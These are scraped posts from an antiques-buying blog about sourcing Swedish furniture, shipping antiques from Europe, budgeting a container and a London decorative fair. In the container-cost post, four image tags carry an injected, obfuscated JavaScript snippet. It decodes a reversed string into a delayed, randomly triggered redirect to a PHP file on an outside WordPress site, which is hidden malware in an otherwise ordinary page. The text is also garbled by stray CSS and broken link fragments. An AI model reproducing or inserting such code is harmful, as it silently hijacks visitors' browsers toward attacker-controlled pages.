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Antiques Diva Buying Services

Swedish Cupboards

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>While my Diva Guides and I love taking clients on antiques buying tours throughout Europe, did you know we also offer buying services? Whether a client doesn’t have time to take a trip to Europe or if they simply want to source a few pieces for a project, we act as the “man—or woman—on the ground” to help find exactly what our client needs. And like most shopaholics, we love a challenge. We recently had a client who is an interior designer in New York email us with a request. He was looking to source an antique Swedish cabinet for a project. His client had seen one she liked on an antiques website, but didn’t want to pay the exorbitant price. What attracted both of them to the cabinet was the patina and style. While they wanted something authentic that would retain its value, they also knew that they’d be utilizing the cabinet and would most likely need to adjust the interior.

Swedish Antiques, Gustavian Furniture, Swedish Cupboards, Original Paint, Antiques Diva Tours, Toma Clark Haines, Daniel Larsson, Antiques Diva Buying Services, Buying antiques in Europe

As soon as I received this request, I knew that our Swedish Antiques Divo Guide Daniel would be the person to contact. Of course Daniel quickly responded with this email:

“Authentic examples of antique Swedish cupboards like this with original paintwork have become increasingly rare. Much of the Swedish furniture currently available on the “antique” market has been comprehensively rebuilt and restored,  often repainted in popular pale colours and sadly some of these created or “style” pieces are sold as period.

Swedish Antiques, Gustavian Furniture, Swedish Cupboards, Original Paint, Antiques Diva Tours, Toma Clark Haines, Daniel Larsson, Antiques Diva Buying Services, Buying antiques in Europe

But we are in luck! I think i have found the perfect cabinet by reading your requests. I have found a fantastic Gustavian cabinet in excellent condition retaining it’s original paint (gray/blue). This piece has never been over painted and scraped which ads to its desirability, rarity and value. The Gustavian expressions are evident in the small tapered feet, restrained carved details and well-balanced proportions. The price is 1/4 of the cabinet your client first saw.  This piece is a very good investment in my opinion as the market prizes original paintwork when talking about Swedish painted furniture.”

Swedish Antiques, Gustavian Furniture, Swedish Cupboards, Original Paint, Antiques Diva Tours, Toma Clark Haines, Daniel Larsson, Antiques Diva Buying Services, Buying antiques in Europe

While I often say that the power of the internet is amazing and makes our job so efficient, you have to remember that computers are not people. Simply typing in a product that you want may pull up an item on your screen, but how can you be sure that you’re getting the best value or price? That’s where we come in time and time again by acting as our clients’ man on the ground and putting the word out to all our sources. Within no time, in this instance, we were able to find exactly what the client wanted at a quarter of the price (that’s including our commission, by the way). With the right people, the internet can truly be a great tool!

Swedish Antiques, Gustavian Furniture, Swedish Cupboards, Original Paint, Antiques Diva Tours, Toma Clark Haines, Daniel Larsson, Antiques Diva Buying Services, Buying antiques in Europe

If you are interested in more information on our Antiques Diva Buying Services, email us at to:info@antiquesdiva.com”>info@antiquesdiva.com. We’d love to help you find exactly what you’re looking for!

The Antiques Diva® 

IACF Love Antiques

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>We love taking clients on antique buying tours, scouring the continent and British isles in search of European antiques and decorative items. There is something about the physical hunt that all antique lovers seem to crave – we like to see antiques in real life, verify their patina, touch them, hold them.  But in this age of the internet – through our antique sourcing service – we are also able to email clients photos of specific pieces in which they may be interested.  The advantage to the buyer in receiving emailed photographs from us is that we are able to personally verify these objects – seeing if they’re as good in real life as the photo and we’re able to negotiate with vendors whom we have long term relationships, helping you to get the best price.

IACF, Love Antiques, Antiques Diva Buying Services, Buying Antiques in Europe, The HighBoy, Antique Young Guns,

The internet has become an invaluable tool in our business and many antique dealers all over the world have embraced its power. Today I want to share a bit about the International Antiques & Collectors Fairs new project LoveAntiques.com. The IACF have been organizing Europe’s largest antiques fairs for over 25 years and we’ve come to expect the best from them! With LoveAntiques.com, the IACF is offering a place for qualified dealers to sell antiques to a broader audience. This is also good news for buyers since having all of these trusted vendors in one convenient place allows you to view thousands of items without leaving your desk (though we all know that visiting the fairs and antique warehouses in REAL life is always more fun!).

asmallearly18thcenturywalnutbureau, IACF, Love Antiques, Antiques Diva Buying Services, Buying Antiques in Europe, The HighBoy, Antique Young Guns,

Items on this website are updated daily, which makes it like a brand new shopping experience each time you visit the site. Of course, there are many websites out there that sell antiques, but we have our few trusted online marketplaces where we feel they are doing a fabulous job selling antiques online.  LoveAntiques happens to be one of those alongside The HighBoy and Antique Young Guns.

IACF, Love Antiques, Antiques Diva Buying Services, Buying Antiques in Europe, The HighBoy, Antique Young Guns,

If you happen to see something you are interested in on LoveAntiques.com, you are able to communicate directly with the dealer who is listing that item. You can also purchase pieces directly from the dealer via PayPal, making buying antiques even simpler.

IACF, Love Antiques, Antiques Diva Buying Services, Buying Antiques in Europe, The HighBoy, Antique Young Guns,

With a vast array of pieces available—from jewelry to furniture to china and glassware— LoveAntiques.com is another fantastic online source whether you want to sell or buy antiques.

The Antiques Diva® 

Shipping Antiques with Consolidations

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>We’re continuing our series on Shipping Antiques From Overseas. In the past week we’ve discussed various options for shipping antiques.  Yesterday we discussed how much it costs to fill a container with antiques – but what if you’re not planning to buy enough antiques to fill a container? How then do you get them home?  No worries mate, it’s still smooth sailing!

Consolidated shipments, Groupage, Shipping antiques from Europe, Antiques Diva Buying Services, How do I ship antiques from Europe

If you only want to buy a few pieces of furniture on your Antiques Diva European Buying Tour and haven’t bought enough to fill a container you can still ship your purchases home.  You have the option to either Air Freight your purchases home or to share a container with someone else.  This latter option is called groupage or a consolidation – meaning your items are “consolidated” in a container with other peoples goods – or “grouped” with others goods.

While the least expensive way to ship will always be a container (i.e., the more you ship the lower cost per cubic meter) both Air Freight and Consolidations/Groupages are good options.   Air Freight is faster but it tends to be a bit more expensive.  That said, however, it’s not always prohibitively so – make sure to ask your international shipper comparison rates so you can make an educated decision.

Consolidated shipments, Groupage, Shipping antiques from Europe, Antiques Diva Buying Services, How do I ship antiques from Europe

When you do a Consolidation or Groupage your purchases are sent with a container already going to your nearest port – this tends to take longer (can take several months) but is more cost effective than air freight and if your purchases are not time sensitive can be a cost-cutting way of shipping a few items of antiques internationally.

You pay a fee per cubic foot for the space used in the container.  But remember:  if you’re buying a chest of drawers, you’re not just buying the shipping space around the chest of drawers but you’re also buying the available space INSIDE the chest…so fill those drawers with smalls because it’s “free”!  You’re being charged for the air inside the drawers so you might as well fill them up!  Maximize every space and get the most bang for your buck!

The Antiques Diva®

How Much Does It Cost to Fill a Container with Antiques?

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>While we don’t do international shipping ourselves here at The Antiques Diva & Co we do liaise our clients on antique buying tours with international shippers to help them get their purchases home sweet home across the pond.  As such we get asked A LOT of questions about how it works to ship antiques internationally.  In general when queries come my way I direct them to the experts – making introductions to shippers we know and trust and have worked with long-term.

Perhaps the most popular questions after “Which international shippers do you recommend?” and “How much does it cost to ship a container?” is “How much does it cost to fill a container full of antiques?”  The answer to this question lies in the answer to the question, “How many antiques fit in a shipping container?”

How Much Does It Cost <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Fill a Container with Antiques, Filling a container, Shipping antiques from Europe, Antiques Diva Tours, Antiques Diva Buying Services, 20 ft container” width=”600″ height=”458″ />

If you visualize a 20 foot container…it can hold approximately 40 medium size pieces of furniture.  Then to determine the cost of filling a shipping container with antiques you need to determine how much you are going to spend on average per item.  Chest of drawers could range anywhere from 100 Euro to 10,000 Euro depending on the age, quality, provencance, etc of the items you’re buying.  Buying 1950’s pieces cost a lot less that pieces from the 1750’s!

How Much Does It Cost <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Fill a Container with Antiques, Filling a container, Shipping antiques from Europe, Antiques Diva Tours, Antiques Diva Buying Services, ” width=”600″ height=”401″ />

If you determine an amount that you feel comfortable with as an average item of purchase and multiply that number times 40 you’ll have a rough ball park figure on “How much it costs to fill a shipping container with antiques?”  Obviously you’re not going to be buying 40 chest of drawers so this isn’t an exact science but it leads you down the path to determining what your budget should be for buying overseas.

How Much Does It Cost <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Fill a Container with Antiques, Filling a container, Shipping antiques from Europe, Antiques Diva Tours, Antiques Diva Buying Services, Export Antiques,” width=”400″ height=”353″ />

Clients come to me with budgets ranging from 20,000 Euros to 100,000 Euros, saying this is the amount they have to fill their 20 foot container.  On average, serious buyers – Antique Dealers – seeking to fill their container with decorative vintage and antique pieces – the type that you see in all the magazines, chic and stylish, with a degree of age on them but not necessarily uber high-end – come to me with a budget of approx. 40,000 Euro knowing they may spend less or they may spend more depending upon the price point of the items they fall in love with.  The client I was just with found a slew of cocktail tables at 50 Euro each – this brought her average purchase down exponentially and she managed to save a significant amount of money off her anticipated budget.  However…cocktail tables weren’t on her buying list.  Sometimes in order to get the best deal you have to be open to what’s on the market when you’re seeking to buy.  The client will be able to retail those cocktail tables for about $600 USD each – so she is getting a heck of a profit on them!

How Much Does It Cost <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Fill a Container with Antiques, Filling a container, Shipping antiques from Europe, Antiques Diva Tours, Antiques Diva Buying Services, ” width=”360″ height=”270″ />

When shipping remember it’s better to overbuy and overfill your container than underbuy – the less you buy the more it costs per item in the container.  The best way to save money shipping is to squeeze as many items into the container as possible! And remember – shippers use every square inch! If you have a chest of drawers you can easily pack those drawers full of smalls so there is no wasted space!

Net, net – there is no easy answer on how much it costs to fill a container – but if you use this as a guideline for shipping antiques you’ll have a starting point in determining your budget for buying antiques overseas.

Happy Shipping,
The Antiques Diva®
(Hmmm…. today perhaps you might want to call me The Shipping Diva!)

White Ceramics at The Decorative Fair

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 50px; line-height: 40px; padding-top: 1px; padding-right: 5px; font-family: times;”>Last week I wrote a blog sharing the trends in design at Maison Objet – the largest furniture fair in the world.  This week I want to highlight some of the trends in the antiques world as seen last week at the top source for decorative antiques in the world.  If you haven’t been to The Decorative Fair in London then you’re quite simply missing out – it’s the best choreographed collection of decorative antiques in the world!

Battersea Antiques Diva

If you missed it this January, have no fear  – The Decorative Fair is held 3 times a year.  The next dates are:
Spring Fair 2014: 29 April – 4 May 2014
Autumn Fair 2014: 30 September – 5 October 2014

Decorative Fair

One of the top deco trends in antiques we noticed at the January fair was the use of white ceramics in display.  With both translucent white porcelain and ironstone represented – this look is here to stay.

ANTIQUE TIP:  How Do You Tell The Difference Between Porcelain & Ironstone?
Ironstone is made from fired clay which contains china stone. It has a similar appearance and hardness to porcelain however unlike porcelain it is opaque not translucent.  Ironstone, named so because it contains the mineral feldspar, was first patented in 1813 by Charles James Mason of Staffordshire, England.

Decorative Fair Battersea

Battersea  - Antiques Diva

Battersea - Antiques Diva

Stay tuned for more Top Trends in Antiques as seen at our tor.html” target=”_blank”>favorite fair in Britain.

The Antiques Diva®

PS:  To book an Antiques Diva England Tour or inquire about our Buying Services so you can source antiques abroad virtually, email to:info@antiquesdiva.com”>info@antiquesdiva.com

Antiques Diva & Co Buying Services

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 80px; line-height: 70px; padding-top: 1px; padding-right: 5px; font-family: times;”>Recently tours” target=”_blank”>Modenus – the best design resource on the net – posted an article regarding ourto-the-trade/buying-services” target=”_blank”> buying services  and it occurred to me I was positively negligent in not sharing those details with you here on my own blog!!!  You know us as a European Antique Shopping Tour company… and when you’re in Europe and you want to go antiquing, we’re you’re first stop for taking an tours” target=”_blank”>antiques shopping tour.   But what IF you can’t come abroad!??  We know you WANT to travel overseas, but sometimes LIFE gets in the way….  You have work and family commitments or sometimes the cost of the trip + the cost of the purchases is simply too much on the budget.  But that doesn’t mean you stop wanting to do your buying in Europe.  That’s where we come in…  we can buy for you giving you full access to our sources in Europe, letting you shop from across the pond!!  So while we of course offer antique buying tours, we also specialize in offering buying services for our clients – both trade & private individuals.

Antiques Diva Buying Services

How It Works?
When we buy for a client, we ask a lot of questions about what you’re looking for…  We want to know you and your style inside out.   Clients email us photos from Pinterest or scanned from magazines, books, etc saying “I want everything in this picture” – sometimes antiques dealers even send us emails saying “see my competitors website… I want what she’s got!” as well as links to their own site to help us get a feel for their shop.  Some clients are decorating their own home and are looking for a key piece so they email pics of their living room, telling us what they’re looking for and the space they are working with.

Once we get those pictures and links to websites our job is to do that little thing we do.  When you tell us what you’re looking for we go to our best contacts and get you photographs of the inventory we recommend for you.   Some of the things we suggest will be in response to what you’ve told us you want… but other things we suggest are things we think you might like.  You’ll get a lot of pre-choreographed photos sent to you.  We understand you need to kiss a lot of frogs to find your perfect piece… so we’ll give you variety in colors, in scale, in quality,  in age,  and in price.

After we’ve sent  you photos you’ll come back to us and say “ugh… don’t like photos #17, 22 and 36”, giving us feedback on what you don’t like so we can further refine our search… but here’s where it gets good, you’ll say “OMG, where have #12, # 16, # 33 and #42 been all my life. BUY THEM”.   A lot of the vendors we go to are wholesale dealers only – and they don’t negotiate.  On those vendors we’ll say – “the price is X and X is what you’ll pay”.  BUT – then we’ll tell you “but photo # 16 and 42 are vendors who will negotiate and we’ll go to town on your behalf”.

Antiques Diva & Co Buying Services

How Do You Get It Across the Pond?

At The Antiques Diva & Co we not only help you source, but we also liaise you with international shippers.  When it comes to international shipping there are always problems (things break, shipments are delayed, etc. etc.).  The shippers we work with are not perfect, but either they work with us to fix and resolve the problems that invariably occur when international shipping is in place or we stop working with them, so we have a refined, tried and tested network of international shippers we rely on.

We’ll take your purchases from maybe 5 or 10 different sources – often in different countries – and help you coordinate ONE shipping.  This one shipment saves you money compared to if you were buying direct from each of these vendors and each vendor was shipping separately.

We’ll sticker your purchases, fill out your shipping purchase orders, even take Tylenol on your behalf as we handle headaches and liaise with an international shipper to get everything across the pond to you.

Why Shouldn’t You Just Shop Online for European Antiques?

You and I both know that you can scout webpages and search out European antiques all by yourself all over the web… the internet has made the world really small that way.  So why would you hire The Antiques Diva & Co to scout in Europe to source goods for your store when you could skip the middle man and shop yourself online?  The problem with buying online is that you don’t always know what you’re buying or if it looks as good in person as it does in the photos.  You don’t have relationships with the dealers or someone to vet the inventory on your behalf before you pay a bundle to get it carted half way around the world.  You don’t know who you should trust or shouldn’t.  When buying online you just click “add to cart”, no negotiating takes place, so you never really know if you’re getting the best price, or if you could have gotten a better price.  And if you want to buy from multiple stores, shipping becomes a disaster because you’re paying more to ship a few things individually than to bulk everything from various sources when shipping them in one lot would have cost a whole lot less.  And MOST importantly… and here’s the kicker… the best sources in Europe aren’t online. 

Most wholesale warehouses in Europe and the UK don’t sell on line.  They provide an exclusive service to their trade clients by keeping their prices & inventory off the web for the discrete few who are lucky enough to gain entry into their world.    That’s where we come in.  The difference between Old World Culture and New World Culture is the secret handshake.  In Europe, having an introduction gives you entry into an inner circle you can’t gain access to on your own.  Our job – whether you’re on a “To The Trade Antiques Buying Tour” or using our buying service – is to show you the secret handshake and introduce you to the people in Europe you need to know.

For More Information?
Contact me to:toma@antiquesdiva.com”>toma@antiquesdiva.com – I’d love to chat to discuss how we  could give you access to Buying Abroad!!

Warm Regards,
The Antiques Diva®

Book a Tour

The Antiques Diva & Co offers custom planned Antiques Buying Tours for tourists and trade professionals. Whether you’re looking to buy one specific piece or wanting to fill an entire container, our personal shopping antique buying guides share their vast knowledge of secret sources to take you to all the right places.

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